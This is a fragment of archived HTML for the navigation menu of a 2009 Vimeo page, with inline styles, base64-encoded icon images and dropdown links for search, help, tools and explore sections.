<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAyCAYAAABRYothAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAALhJREFUeNpiFFdW+s9ABcDEQCUwatCoQaMGjRo0atCoQaMGjRpEDvhFLYO+UMugF9Qy6Bq1DDpLLYMOUsOgR0B8ihoGLQPiv5Qa9AuIp1AjQc4C4qeUGvQOiOupkUWyoIZRZBAoXFZSmmk3AXEBpbl/KxBHgKKbEoNAMeQPxN/JLY9eAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtBN4F4DRBPBOLXxPobZNAFIL4DKgqgUXqfnPQAEGAA/DkjDXA3eLYAAAAASUVORK5CYII=" style="width:18px;height:50px;position:absolute;right:0px;top:0px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;width:13.9em;margin: 0px; padding: 16px 21px 21px 18px; ">
|
||||
<div style="float:left;position:absolute;top:12px;margin: 0px; padding: 0px; ">
|
||||
<div style="float:left;width:173px;height:24px;background-image:url(data:image/gif;base64,R0lGODlhrQAWAOYAABcjI2lxcc3NwcXFt2FpaTI9Pfr6+khSUvn5+Jqfn+3t6N3d1Pn598PDtcvLv9ra0ff39zA6OuTk3sjLy/Ly7+Dg2uvr5/39/fHx7cvOztzd3cfHu+Hj4/T19V5mZv7+/vz8++Xl3/b288nJvN/f2PT08ejo4enp483NwsnJu9ra0ujo4srKvsbGuODg2fHx78PDs8LCs9fXzcDAsMHBssXFuNjYzcfHufDw7uXl3unp5cjIu52iosrKvLy8rN7e1snJvdXVy+7u68zMwP7+/dPTydbWzcbGudXVysTEts3NwNDQxc7OweXl4OTk3fj49v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAACtABYAAAf/gACCEQkaUIeIiYqLjI2Oj5CRkpOUlZaNGgkRgpweHZegoaKjpKWXHR6cBwamra6vsJACoQYHghOxubq7vI4TAAW9wsPEh7OMHwxPF48FBMXQ0cIUMg49RRaOBAHS3d6gx4lCQEkOKAMDTo0B3N/u75QISwMkCCArGzcUjOzw/v9Qwh1SMMAIEUQVaFTg1w6gQ39NGkhIhAGGCoYPM0YTCEVHgwWJTMz4gVGjSWkiWKQ4wQwDkwEKSp6cmYsjlBwDdth4oGTAgw8yaQrlFUJAjSNDNgQBEXSoU1E2DzGwoKAEkhgTF/V7ynUXjhYjXmh91rVspaiLFvhwsYhAMLNwMFuJCIFgUQEAGeLqbYRWUgZBq/YKLlWLEwEIgwX3fQSBACdBBXhwSEw5EocEdwUFAgA7);background-color: transparent; background-position: 0% 0%; background-repeat: no-repeat; margin: 0px; padding: 0px; ">
|
||||
<form style="margin: 0px; padding: 0px; ">
|
||||
<input value="Search Videos" style="text-align:left;float:left;height:18px;font:normal normal normal 12px/normal arial, sans-serif;color:rgb(150, 150, 150);width:135px;background-color: transparent; outline: invert none 0px; border-width: 0px; border-style: none; margin: 1px 0px 0px 4px; padding: 2px 0px 0px 3px; border-color: white; "/>
|
||||
<input type="submit" value="" style="float:left;width:25px;height:24px;cursor:pointer;background-color: transparent; outline: invert none 0px; border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</form>
|
||||
</div>
|
||||
</div>.
|
||||
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);width:9em;list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:9em;margin: 0px; padding: 0px 18px; "><a href="#" style="cursor:pointer;text-decoration:none;font-size:11px;display:block;background-color: transparent; color:rgb(229, 61, 44);outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Search Videos</a><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:9em;margin: 0px; padding: 0px 18px; "><a href="#" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Search People</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:9em;margin: 0px; padding: 0px 18px; "><a href="#" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Search Groups</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:9em;margin: 0px; padding: 0px 18px; "><a href="#" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Search Channels</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:9em;margin: 0px; padding: 0px 18px; "><a href="#" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">Search Forums</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:9em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;width:1em;margin: 0px; padding: 16px 18px 21px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/help" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Help</a>
|
||||
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:7.2em;margin: 0px; padding: 0px 18px; ">
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/help/basics" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;display:block;background-color: transparent; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Vimeo Basics</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:7.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/help" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Help</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:7.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/forums" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">Forums</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:7.2em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;width:1.5em;margin: 0px; padding: 16px 18px 21px; ">
|
||||
<a href="#" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Tools</a>
|
||||
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:16.2em;margin: 0px; padding: 0px 18px; ">
|
||||
For me: <img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:16.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/subscriptions/contacts" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;display:block;background-color: transparent; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Subscription Manager</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:16.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/contacts/invite_new_user" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Invite Your Friends</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:16.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/contacts/import" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Import Contacts</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:16.2em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/widget" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 0px; ">Make Widgets</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;width:16.2em;background-color: transparent; margin: 0px; padding: 0px 18px; ">
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAMpJREFUeNpiFFdW+snAwMDGQCFgAuIvDFQAIINeUMuga9Qy6Cy1DDpIDYMYgbHGDKTvAbEcJQYx8wgJ/gfSIkBsR6mLQLQ01FVslLgIRH8GYnEgNqPURSAgBMS3oTRZsQYD74A4i1KvwcBVaMCbUWoQCOwCYgMgVifXazDwF4gjgHgrpS4CgT9AvBKIJYDYmBKDQACUULdAww2UWHnINQgGQKXDTCAGFYCmuBItMQaBwC9o5p4DxN+BWBSKsSZIUoEiEIdDw1AFIMAAEK8fe1gltpYAAAAASUVORK5CYII=" style="position:absolute;left:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/gif;base64,R0lGODlhAQABAIAAABcjIgAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw==" style="height:20px;width:100%;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAUCAYAAACAl21KAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAKhJREFUeNpiFFdW+s9AOfjFxEAd8IVaBr2glkHXqGXQWWoZdJAaBj0C4lPUMGgxEP+l1KBfQDwdxKDUoFlA/JRSg94BcT2MQ4lBWVDDKDJoChCvRBYgx6BNQFyALkiqQVuBOAIU3ZQYBIohfyD+jk2SGINeAHEoEKdjcwkMsOArY4C4G4j7oGy8AJtB14B4DTRmXhPrb5BBF4D4DqgogEbpfXLSA0CAAQACpyLRjs+JagAAAABJRU5ErkJggg==" style="position:absolute;right:0px;top:0px;width:18px;height:20px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
</ul>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;background-color: rgb(23, 35, 34); float:right;position:relative;font:normal normal normal 10px/normal Verdana;height:13px;font-size:11px;width:2.7em;margin: 0px; padding: 16px 18px 21px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/explore" target="_blank" style="cursor:pointer;text-decoration:none;display:block;color:rgb(255, 255, 255);outline: invert none medium; margin: 0px; padding: 0px; ">Explore</a>
|
||||
<ul style="display:none;z-index:999999;position:absolute;top:50px;left:15px;color:rgb(187, 187, 187);list-style: none outside none; margin: 0px 0px 0px -15px; padding: 0px; ">
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/groups" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;display:block;background-color: transparent; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Groups</a>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPVJREFUeNpiufHwwf8PHz8yPH36lOHwkSMMu/fsYXj8+DEDCwsLAysrKwM6YLz56CETMzMzCxMQgASeP3/OtXLVqrebtmxh+PDhAwM7Ozuqhv///6MI3Hn6hAVoMtup06e/9vT2Mty8dYuBg4MDtwYQANnKBQQPHj7kqq2re3nx0iWETSANuPCDF8+5Dp06KWZsb/dfQEb6v7iy0n+8GkD44csXXKs3b/ovra72X1RR4T8TAwHw/cePHyamppzhoaEMv379YiCoQV1O/h/IJj9fX0l5OTkGFgYigKKE5A9WFpYvtra2hG2AgV+/f/+ytrJiAAgwAJMsjRfgwkvRAAAAAElFTkSuQmCC" style="position:absolute;top:0px;left:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAKCAYAAACALL/6AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPBJREFUeNpiFFdW+s+ABn7//s3w588fBllZWQZXFxcGWxsbBmlpaQYBfn4GFnTFP3/+ZBAQEGDw8/FhCA8LE5aUlPwGEv8HBH///v2DouHHjx8M6mpqDCXFxQxmpqbcQJt+KUpI/kFWw4JssoG+PkNzU5O4grz8NyD4oS4n/w/dBQwgPwjISP83trf7f+jUSbEHL55z/f//nwEXZhBVVPgvra72f/XmTf8fvnyBVzEIM/369YshPDSUwcTUlPM7yBMEAJO8nByDn6+vJEg3VjejARZbW1sGZSWlLzIiogRNB9tgbWXF8AsYfAxEAoAAAwCW14MZ5CHflgAAAABJRU5ErkJggg==" style="position:absolute;top:0px;right:-12px;width:12px;height:10px;border-width: 0px; border-style: none; margin: 0px; padding: 0px; border-color: white; "/>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; ">
|
||||
<a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/channels" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Channels</a>
|
||||
</li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/hd" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">HD Videos</a></li>
|
||||
<li style="list-style-type:none;cursor:pointer;float:left;position:relative;background-color: rgb(23, 35, 34); width:6em;margin: 0px; padding: 0px 18px; "><a href="https://archive.today/o/xte1C/https://web.archive.org/web/20090305043551/http://vimeo.com/staffpicks" target="_blank" style="cursor:pointer;text-decoration:none;color:rgb(3, 149, 204);font-size:11px;background-image:url(data:image/gif;base64,R0lGODlhAgABAIABADw8PP///yH5BAEAAAEALAAAAAACAAEAAAICRAoAOw==);background-color: transparent; display:block;background-position: 0% 0%; background-repeat: repeat-x; outline: invert none medium; margin: 0px; padding: 4px 0px 5px; ">Staff Picks</a></li>
|
||||
